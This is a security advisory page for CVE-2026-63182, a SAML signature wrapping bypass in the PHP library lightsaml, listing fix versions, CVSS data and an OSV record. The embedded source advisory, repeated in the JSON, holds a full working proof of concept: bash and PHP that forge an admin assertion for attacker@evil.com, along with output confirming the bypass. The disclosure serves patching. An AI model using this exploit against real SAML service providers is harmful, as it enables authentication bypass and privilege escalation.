CVE-2026-63182: Litesaml/lightsaml Lightsaml Allows Signature Wrapping Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-w553-pwx6-3mg9
CVSS 8.1
CWE-347
Published
Advisory Summary

CVE-2026-63182 is a HIGH (CVSS 8.1) lightsaml allows signature wrapping bypass vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting Litesaml/lightsaml libraries in the Packagist ecosystem. The issue involves lightsaml allows signature wrapping bypass. Remediation is available by upgrading affected packages to version 5.0.1, 4.7.1.

CVE-2026-63182 at a Glance

CVE Identifier CVE-2026-63182
GHSA Identifier GHSA-w553-pwx6-3mg9
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-347: Improper Verification of Cryptographic Signature
Affected Product Litesaml/lightsaml
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-63182

To remediate this vulnerability, upgrade all affected Litesaml/lightsaml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

litesaml/lightsaml fixed: 5.0.1
Upgrade litesaml/lightsaml to 5.0.1
litesaml/lightsaml fixed: 4.7.1
Upgrade litesaml/lightsaml to 4.7.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for litesaml/lightsaml

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-63182, inspect your project dependencies for Litesaml/lightsaml:

inspect dependencies for litesaml/lightsaml

Analyze the terminal output to locate any version of Litesaml/lightsaml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In Litesaml/lightsaml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one's `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI="#id"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document. An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims. ### Details `Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document): https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28 The check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal): ```php if (! $docElem->isSameNode($this->sigNode)) { if ($this->sigNode->parentNode != null) { $this->sigNode->parentNode->removeChild($this->sigNode); // strips sig from shared DOM } } ``` https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596 `processRefNode()` then resolves `URI="#id"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree: ```php $query = '//*['.$iDlist.']'; $dataObject = $xPath->query($query)->item(0); ``` https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525 So the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected: https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288 An example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`: ```xml <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>https://idp.example.com</saml:Issuer> <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this), but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the enveloped+exc-c14n digest target is the assertion sans Signature. --> <samlp:Extensions> <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>https://idp.example.com</saml:Issuer> <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject> <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/> <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement> </saml:Assertion> </samlp:Extensions> <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims, verbatim copy of the genuine ds:Signature. --> <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>https://idp.example.com</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature> <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject> <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/> <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement> </saml:Assertion> </samlp:Response> ``` ### PoC ```bash #!/usr/bin/env bash set -euo pipefail WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK" IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion" composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet # trusted IdP key + self-signed cert (out-of-band trust anchor) openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \ -subj "/CN=idp.example.com" >/dev/null 2>&1 # genuine Response with one to-be-signed assertion cat > genuine_tmpl.xml <<XML <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>${IDP_ENTITY}</saml:Issuer> <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>${IDP_ENTITY}</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#${ASSERTION_ID}"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue></ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue></ds:SignatureValue> </ds:Signature> <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject> <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/> <saml:AttributeStatement> <saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response> XML # REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n) xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \ --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \ --output genuine_signed.xml genuine_tmpl.xml >/dev/null # TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element, # and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine # signature + attacker claims. php -r ' $doc = new DOMDocument(); $doc->load("genuine_signed.xml"); $xp = new DOMXPath($doc); $xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion"); $xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#"); $resp = $doc->documentElement; $genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0); $copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0)); // buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target) $buried = $genuine->cloneNode(true); $buried->removeChild($xp->query("./ds:Signature", $buried)->item(0)); // forged = copied signature + attacker claims (the only direct-child assertion) $forged = "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">" ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>" ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>" ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>" ."</saml:Assertion>"; $frag = $doc->createDocumentFragment(); $frag->appendXML($forged); // Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after $ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions"); $ext->appendChild($buried); $resp->replaceChild($ext, $genuine); $resp->appendChild($frag); file_put_contents("tampered.xml", $doc->saveXML()); ' # SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true cat > consumer.php <<'PHP' <?php require __DIR__ . '/vendor/autoload.php'; use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction; use LightSaml\Context\Profile\{AssertionContext, ProfileContext}; use LightSaml\Credential\{UsageType, X509Certificate, X509Credential}; use LightSaml\Context\Model\DeserializationContext; // moved from Model\Context in 5.0.0 use LightSaml\Model\Protocol\SamlMessage; use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory; use LightSaml\Store\Credential\StaticCredentialStore; use LightSaml\Validator\Model\Signature\SignatureValidator; use Psr\Log\NullLogger; [$_, $xmlPath, $certPath, $idpEntityId] = $argv; $x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath)); // pinned trust anchor $cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING); $store = new StaticCredentialStore(); $store->add($cred); $validator = new SignatureValidator((new CredentialResolverFactory($store))->build()); $action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true $message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext()); $profile = new ProfileContext('profile', ProfileContext::ROLE_SP); $bypass = false; echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n"; foreach ($message->getAllAssertions() as $i => $a) { $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)'; $attrs = []; foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at) $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues())); echo "ASSERTION #$i NameID=$nameId Attributes=".json_encode($attrs)."\n"; $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile); try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); } echo " LightSaml validation: $r\n"; if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) { $bypass = true; echo " >>> BYPASS: forged assertion validated AND attacker claims surfaced\n"; } } echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n"; exit($bypass ? 0 : 1); PHP php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY" ``` Observed output: ``` assertions LightSaml collected: 1 ASSERTION #0 NameID=attacker@evil.com Attributes={"role":"admin"} LightSaml validation: ACCEPTED >>> BYPASS: forged assertion validated AND attacker claims surfaced RESULT: BYPASS CONFIRMED ``` ### Impact Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.

CVE-2026-63182 Affected Litesaml/lightsaml Versions

2 component(s)
Fixed Versions:
5.0.14.7.1
Product / Package Ecosystem Affected Versions Fixed Version
litesaml/lightsaml
Packagist
≥ 5.0.0
< 5.0.1
5.0.1
litesaml/lightsaml
Packagist
≥ 4.0.0
< 4.7.1
4.7.1

References

Frequently Asked Questions

What is CVE-2026-63182?
CVE-2026-63182 is a security vulnerability in Litesaml/lightsaml involving lightsaml allows Signature wrapping bypass under CWE-347: Improper Verification of Cryptographic Signature.
Which Litesaml/lightsaml versions are affected?
Affected versions include releases prior to 5.0.1, 4.7.1 across affected packages: litesaml/lightsaml.
What version fixes CVE-2026-63182?
Upgrading to 5.0.1, 4.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is litesaml/lightsaml affected?
Yes, litesaml/lightsaml is affected in releases prior to 5.0.1, 4.7.1. Upgrade your dependency to 5.0.1, 4.7.1 or later.
What is the CVSS score of CVE-2026-63182?
CVE-2026-63182 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-63182?
CVE-2026-63182 is classified under CWE-347: Improper Verification of Cryptographic Signature (The product does not verify, or incorrectly verifies, the cryptographic signature for data.).
How can I check Packagist dependencies for CVE-2026-63182?
Run the dependency tree command: 'inspect dependencies for litesaml/lightsaml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w553-pwx6-3mg9",
  "modified" : "2026-11-16T22:08:38Z",
  "published" : "2026-11-16T22:08:38Z",
  "aliases" : [ "CVE-2026-63182" ],
  "summary" : "lightsaml allows Signature wrapping bypass",
  "details" : "### Summary\n\nLightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one's `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI=\"#id\"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document.\n\nAn attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.\n\n### Details\n\n`Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28\n\nThe check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal):\n\n```php\nif (! $docElem->isSameNode($this->sigNode)) {\n    if ($this->sigNode->parentNode != null) {\n        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM\n    }\n}\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596\n\n`processRefNode()` then resolves `URI=\"#id\"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:\n\n```php\n$query = '//*['.$iDlist.']';\n$dataObject = $xPath->query($query)->item(0);\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525\n\nSo the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288\n\nAn example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`:\n\n```xml\n<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n  <saml:Issuer>https://idp.example.com</saml:Issuer>\n\n  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),\n       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the\n       enveloped+exc-c14n digest target is the assertion sans Signature. -->\n  <samlp:Extensions>\n    <saml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n      <saml:Issuer>https://idp.example.com</saml:Issuer>\n      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>\n      <saml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/>\n      <saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\n    </saml:Assertion>\n  </samlp:Extensions>\n\n  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,\n       verbatim copy of the genuine ds:Signature. -->\n  <saml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n    <saml:Issuer>https://idp.example.com</saml:Issuer>\n    <ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"> ...byte-for-byte copy of the genuine signature... </ds:Signature>\n    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>\n    <saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>\n    <saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\n  </saml:Assertion>\n</samlp:Response>\n```\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nWORK=\"$(mktemp -d)\"; trap 'rm -rf \"$WORK\"' EXIT; cd \"$WORK\"\nIDP_ENTITY=\"https://idp.example.com\"; ASSERTION_ID=\"_signed_assertion\"\n\ncomposer require litesaml/lightsaml:5.0.0 --no-interaction --quiet\n\n# trusted IdP key + self-signed cert (out-of-band trust anchor)\nopenssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \\\n  -subj \"/CN=idp.example.com\" >/dev/null 2>&1\n\n# genuine Response with one to-be-signed assertion\ncat > genuine_tmpl.xml <<XML\n<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n                ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>\n  <saml:Assertion ID=\"${ASSERTION_ID}\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>\n    <ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">\n      <ds:SignedInfo>\n        <ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n        <ds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/>\n        <ds:Reference URI=\"#${ASSERTION_ID}\">\n          <ds:Transforms>\n            <ds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/>\n            <ds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n          </ds:Transforms>\n          <ds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/>\n          <ds:DigestValue></ds:DigestValue>\n        </ds:Reference>\n      </ds:SignedInfo>\n      <ds:SignatureValue></ds:SignatureValue>\n    </ds:Signature>\n    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>\n    <saml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/>\n    <saml:AttributeStatement>\n      <saml:Attribute Name=\"role\"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>\n    </saml:AttributeStatement>\n  </saml:Assertion>\n</samlp:Response>\nXML\n\n# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)\nxmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \\\n  --id-attr:ID \"urn:oasis:names:tc:SAML:2.0:assertion:Assertion\" \\\n  --output genuine_signed.xml genuine_tmpl.xml >/dev/null\n\n# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,\n# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine\n# signature + attacker claims.\nphp -r '\n$doc = new DOMDocument(); $doc->load(\"genuine_signed.xml\");\n$xp = new DOMXPath($doc);\n$xp->registerNamespace(\"saml\",\"urn:oasis:names:tc:SAML:2.0:assertion\");\n$xp->registerNamespace(\"ds\",\"http://www.w3.org/2000/09/xmldsig#\");\n$resp = $doc->documentElement;\n$genuine = $xp->query(\"//saml:Assertion[@ID=\\\"_signed_assertion\\\"]\")->item(0);\n$copiedSig = $doc->saveXML($xp->query(\"./ds:Signature\", $genuine)->item(0));\n\n// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)\n$buried = $genuine->cloneNode(true);\n$buried->removeChild($xp->query(\"./ds:Signature\", $buried)->item(0));\n\n// forged = copied signature + attacker claims (the only direct-child assertion)\n$forged =\n  \"<saml:Assertion xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_signed_assertion\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2024-01-01T00:00:00Z\\\">\"\n  .\"<saml:Issuer>https://idp.example.com</saml:Issuer>\".$copiedSig\n  .\"<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>\"\n  .\"<saml:Conditions NotBefore=\\\"2040-01-01T00:00:00Z\\\" NotOnOrAfter=\\\"2041-01-01T00:00:00Z\\\"/>\"\n  .\"<saml:AttributeStatement><saml:Attribute Name=\\\"role\\\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\"\n  .\"</saml:Assertion>\";\n$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);\n\n// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after\n$ext = $doc->createElementNS(\"urn:oasis:names:tc:SAML:2.0:protocol\",\"samlp:Extensions\");\n$ext->appendChild($buried);\n$resp->replaceChild($ext, $genuine);\n$resp->appendChild($frag);\nfile_put_contents(\"tampered.xml\", $doc->saveXML());\n'\n\n# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true\ncat > consumer.php <<'PHP'\n<?php\nrequire __DIR__ . '/vendor/autoload.php';\nuse LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;\nuse LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};\nuse LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};\nuse LightSaml\\Context\\Model\\DeserializationContext;   // moved from Model\\Context in 5.0.0\nuse LightSaml\\Model\\Protocol\\SamlMessage;\nuse LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;\nuse LightSaml\\Store\\Credential\\StaticCredentialStore;\nuse LightSaml\\Validator\\Model\\Signature\\SignatureValidator;\nuse Psr\\Log\\NullLogger;\n\n[$_, $xmlPath, $certPath, $idpEntityId] = $argv;\n$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor\n$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);\n$store = new StaticCredentialStore(); $store->add($cred);\n$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());\n$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true\n\n$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());\n$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);\n$bypass = false;\necho \"assertions LightSaml collected: \" . count($message->getAllAssertions()) . \"\\n\";\nforeach ($message->getAllAssertions() as $i => $a) {\n    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';\n    $attrs = [];\n    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)\n        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));\n    echo \"ASSERTION #$i  NameID=$nameId  Attributes=\".json_encode($attrs).\"\\n\";\n    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);\n    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }\n    echo \"  LightSaml validation: $r\\n\";\n    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {\n        $bypass = true; echo \"  >>> BYPASS: forged assertion validated AND attacker claims surfaced\\n\";\n    }\n}\necho $bypass ? \"RESULT: BYPASS CONFIRMED\\n\" : \"RESULT: no bypass\\n\";\nexit($bypass ? 0 : 1);\nPHP\n\nphp consumer.php tampered.xml idp_cert.pem \"$IDP_ENTITY\"\n```\n\nObserved output:\n\n```\nassertions LightSaml collected: 1\nASSERTION #0  NameID=attacker@evil.com  Attributes={\"role\":\"admin\"}\n  LightSaml validation: ACCEPTED\n  >>> BYPASS: forged assertion validated AND attacker claims surfaced\nRESULT: BYPASS CONFIRMED\n```\n\n### Impact\n\nAuthentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "litesaml/lightsaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.0.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "litesaml/lightsaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.7.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63182"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/pull/113"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/pull/122"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/litesaml/lightsaml"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/releases/tag/4.7.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litesaml/lightsaml/releases/tag/5.0.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-16T22:08:38Z",
    "nvd_published_at" : "2026-10-30T22:16:58Z"
  }
}